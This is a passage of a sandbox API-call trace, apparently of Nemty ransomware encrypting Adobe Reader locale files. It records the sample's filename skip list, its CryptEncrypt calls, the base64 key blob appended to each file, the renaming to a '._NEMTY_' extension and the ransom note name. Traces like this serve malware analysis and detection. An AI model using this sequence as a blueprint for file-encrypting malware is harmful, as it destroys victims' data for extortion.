lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0186.704] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.704] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0186.705] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0186.705] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0186.705] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0186.705] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.705] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0186.705] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0186.705] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340048 [0186.707] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0186.707] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.707] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.707] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22e8c9f0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x22e8c9f0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x22e8c9f0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0186.707] FindClose (in: hFindFile=0x3423af0 | out: hFindFile=0x3423af0) returned 1 [0186.707] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0186.707] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0186.707] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0186.707] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddfb360, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Spelling.CHT", cAlternateFileName="")) returned 1 [0186.707] lstrcmpiW (lpString1="Spelling.CHT", lpString2=".") returned 1 [0186.707] lstrcmpiW (lpString1="Spelling.CHT", lpString2="..") returned 1 [0186.707] lstrcmpiW (lpString1="Spelling.CHT", lpString2="...") returned 1 [0186.707] lstrcmpiW (lpString1="Spelling.CHT", lpString2="windows") returned -1 [0186.707] lstrcmpiW (lpString1="Spelling.CHT", lpString2="$RECYCLE.BIN") returned 1 [0186.707] lstrcmpiW (lpString1="Spelling.CHT", lpString2="rsa") returned 1 [0186.707] lstrcmpiW (lpString1="Spelling.CHT", lpString2="NTDETECT.COM") returned 1 [0186.707] lstrcmpiW (lpString1="Spelling.CHT", lpString2="ntldr") returned 1 [0186.707] lstrcmpiW (lpString1="Spelling.CHT", lpString2="MSDOS.SYS") returned 1 [0186.707] lstrcmpiW (lpString1="Spelling.CHT", lpString2="IO.SYS") returned 1 [0186.707] lstrcmpiW (lpString1="Spelling.CHT", lpString2="boot.ini") returned 1 [0186.708] lstrcmpiW (lpString1="Spelling.CHT", lpString2="boot.ini") returned 1 [0186.708] lstrcmpiW (lpString1="Spelling.CHT", lpString2="AUTOEXEC.BAT") returned 1 [0186.708] lstrcmpiW (lpString1="Spelling.CHT", lpString2="ntuser.dat") returned 1 [0186.708] lstrcmpiW (lpString1="Spelling.CHT", lpString2="desktop.ini") returned 1 [0186.708] lstrcmpiW (lpString1="Spelling.CHT", lpString2="CONFIG.SYS") returned 1 [0186.708] lstrcmpiW (lpString1="Spelling.CHT", lpString2="RECYCLER") returned 1 [0186.708] lstrcmpiW (lpString1="Spelling.CHT", lpString2="BOOTSECT.BAK") returned 1 [0186.708] lstrcmpiW (lpString1="Spelling.CHT", lpString2="bootmgr") returned 1 [0186.708] lstrcmpiW (lpString1="Spelling.CHT", lpString2="programdata") returned 1 [0186.708] lstrcmpiW (lpString1="Spelling.CHT", lpString2="appdata") returned 1 [0186.708] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.708] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.CHT", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0186.708] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.CHT", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.CHT", lpUsedDefaultChar=0x0) returned 12 [0186.708] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.708] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.CHT", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0186.708] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.CHT", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.CHT", lpUsedDefaultChar=0x0) returned 12 [0186.708] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.708] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.708] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.708] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.CHT", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0186.708] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.CHT", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.CHT", lpUsedDefaultChar=0x0) returned 12 [0186.708] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.708] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.708] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.CHT", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0186.708] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.CHT", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.CHT", lpUsedDefaultChar=0x0) returned 12 [0186.708] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.708] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0186.708] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0186.708] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0186.708] Sleep (dwMilliseconds=0x5) [0186.714] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x22efee10, dwHighDateTime=0x1d561e8)) [0186.714] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x22efee10, dwHighDateTime=0x1d561e8)) [0186.714] GetLastError () returned 0x12 [0186.714] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0186.714] GetLastError () returned 0x12 [0186.714] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0186.714] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.714] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0186.715] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0186.715] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0186.715] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0186.715] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="rhkBoLCdOcaAu/VOo0lc+QFKzQDoVGHjj3epog2IL9KkDZ0aMwhr+Z0p/VxQUxN+\r\nwKmyBI785VI3Ou9dKYUw8vF3IJHPkX++hxNXyM3LYWxiLeG1xBfJo6p9roUSLzqC\r\ndzGv/88w5YI0a55FmkCc0xgaInThmHqCKrrN5XS+EMCwu14NUyCUvN61d4p8Jbuj\r\n85We7NPGqejuxYJIWpOA0s33R2vLwJInZHHXJ3yY/FqtNAtC6fl/wG1iSrrJG6is\r\n6MAKX5F0tIBEFUY7Bf+kdjNfhO+TogZTxkPKN17VgsuVlU65vHdOtYTsbbzOVz1w\r\nHowid+RRpzAybYDIMdrAnA==\r\n", pcchString=0x653e5dc) returned 1 [0186.715] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0186.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0186.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.715] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0186.715] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0186.715] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0186.715] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\Spelling.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\spelling.cht"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0186.715] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=8192) returned 1 [0186.715] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2000) returned 0x6352c48 [0186.715] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.715] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2000, lpOverlapped=0x0) returned 1 [0186.717] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.717] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2000, lpOverlapped=0x0) returned 1 [0186.718] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0186.718] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2000 [0186.718] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0186.718] CloseHandle (hObject=0x2e8) returned 1 [0186.718] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0186.718] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0186.718] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.718] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0186.718] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.718] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.718] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0186.718] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0186.718] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0186.718] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.718] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\Spelling.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\spelling.cht"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\Spelling.CHT._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\spelling.cht._nemty_kgobjgd_")) returned 1 [0186.719] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0186.719] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0186.719] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0186.719] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0186.719] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0186.719] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0186.719] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.719] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0186.719] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f4be5c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="updater.CHT", cAlternateFileName="")) returned 1 [0186.719] lstrcmpiW (lpString1="updater.CHT", lpString2=".") returned 1 [0186.719] lstrcmpiW (lpString1="updater.CHT", lpString2="..") returned 1 [0186.719] lstrcmpiW (lpString1="updater.CHT", lpString2="...") returned 1 [0186.719] lstrcmpiW (lpString1="updater.CHT", lpString2="windows") returned -1 [0186.719] lstrcmpiW (lpString1="updater.CHT", lpString2="$RECYCLE.BIN") returned 1 [0186.719] lstrcmpiW (lpString1="updater.CHT", lpString2="rsa") returned 1 [0186.719] lstrcmpiW (lpString1="updater.CHT", lpString2="NTDETECT.COM") returned 1 [0186.719] lstrcmpiW (lpString1="updater.CHT", lpString2="ntldr") returned 1 [0186.719] lstrcmpiW (lpString1="updater.CHT", lpString2="MSDOS.SYS") returned 1 [0186.719] lstrcmpiW (lpString1="updater.CHT", lpString2="IO.SYS") returned 1 [0186.719] lstrcmpiW (lpString1="updater.CHT", lpString2="boot.ini") returned 1 [0186.719] lstrcmpiW (lpString1="updater.CHT", lpString2="boot.ini") returned 1 [0186.719] lstrcmpiW (lpString1="updater.CHT", lpString2="AUTOEXEC.BAT") returned 1 [0186.719] lstrcmpiW (lpString1="updater.CHT", lpString2="ntuser.dat") returned 1 [0186.719] lstrcmpiW (lpString1="updater.CHT", lpString2="desktop.ini") returned 1 [0186.719] lstrcmpiW (lpString1="updater.CHT", lpString2="CONFIG.SYS") returned 1 [0186.719] lstrcmpiW (lpString1="updater.CHT", lpString2="RECYCLER") returned 1 [0186.719] lstrcmpiW (lpString1="updater.CHT", lpString2="BOOTSECT.BAK") returned 1 [0186.720] lstrcmpiW (lpString1="updater.CHT", lpString2="bootmgr") returned 1 [0186.720] lstrcmpiW (lpString1="updater.CHT", lpString2="programdata") returned 1 [0186.720] lstrcmpiW (lpString1="updater.CHT", lpString2="appdata") returned 1 [0186.720] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.720] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.CHT", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0186.720] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.CHT", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.CHT", lpUsedDefaultChar=0x0) returned 11 [0186.720] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.720] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.CHT", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0186.720] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.CHT", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.CHT", lpUsedDefaultChar=0x0) returned 11 [0186.720] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.720] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.720] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.720] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.CHT", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0186.720] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.CHT", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.CHT", lpUsedDefaultChar=0x0) returned 11 [0186.720] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.720] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.720] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.CHT", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0186.720] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.CHT", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.CHT", lpUsedDefaultChar=0x0) returned 11 [0186.720] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.720] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0186.720] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0186.720] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0186.720] Sleep (dwMilliseconds=0x5) [0186.730] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x22f24f70, dwHighDateTime=0x1d561e8)) [0186.730] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x22f24f70, dwHighDateTime=0x1d561e8)) [0186.730] GetLastError () returned 0x0 [0186.730] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0186.730] GetLastError () returned 0x0 [0186.730] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.730] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0186.730] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.730] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0186.730] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0186.730] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0186.730] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0186.730] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="6ECSSI9gLoctVb063Izk1lI3QvZyFA7Hz4HARzmLqdfdMvWVW7Qo6bg91MBwi8wA\r\nNGGpBqM8TfgNDSqRvRt77gg8+SFveAQAulSkp3UPxmOO0pPvJmCxUT4k1iR60PkG\r\ncaQS+XIx4G8RWmNq2CU43TPScs+Dp/6DTtngE/Z9sg+QpgR/6u11gM0kFnFeZ4j7\r\ntGoxswwQJhhBfzpnEDw4IMtoFaTin5Jwsb9cmH26M8HMUVK+H4CvV8WL7AieWcm7\r\nBsJDgSTHtaRrHlkQsjeXRmIT9/+SXEMpnE6MdaZkzIT0++/2cXvImk5ffuKK2z0+\r\nj3RTUksr+0YKJOvwY0rfrg==\r\n", pcchString=0x653e5dc) returned 1 [0186.731] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0186.731] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0186.731] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.731] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0186.731] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0186.731] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0186.731] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\updater.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\updater.cht"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0186.731] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=7680) returned 1 [0186.731] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1e00) returned 0x6352c48 [0186.731] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, 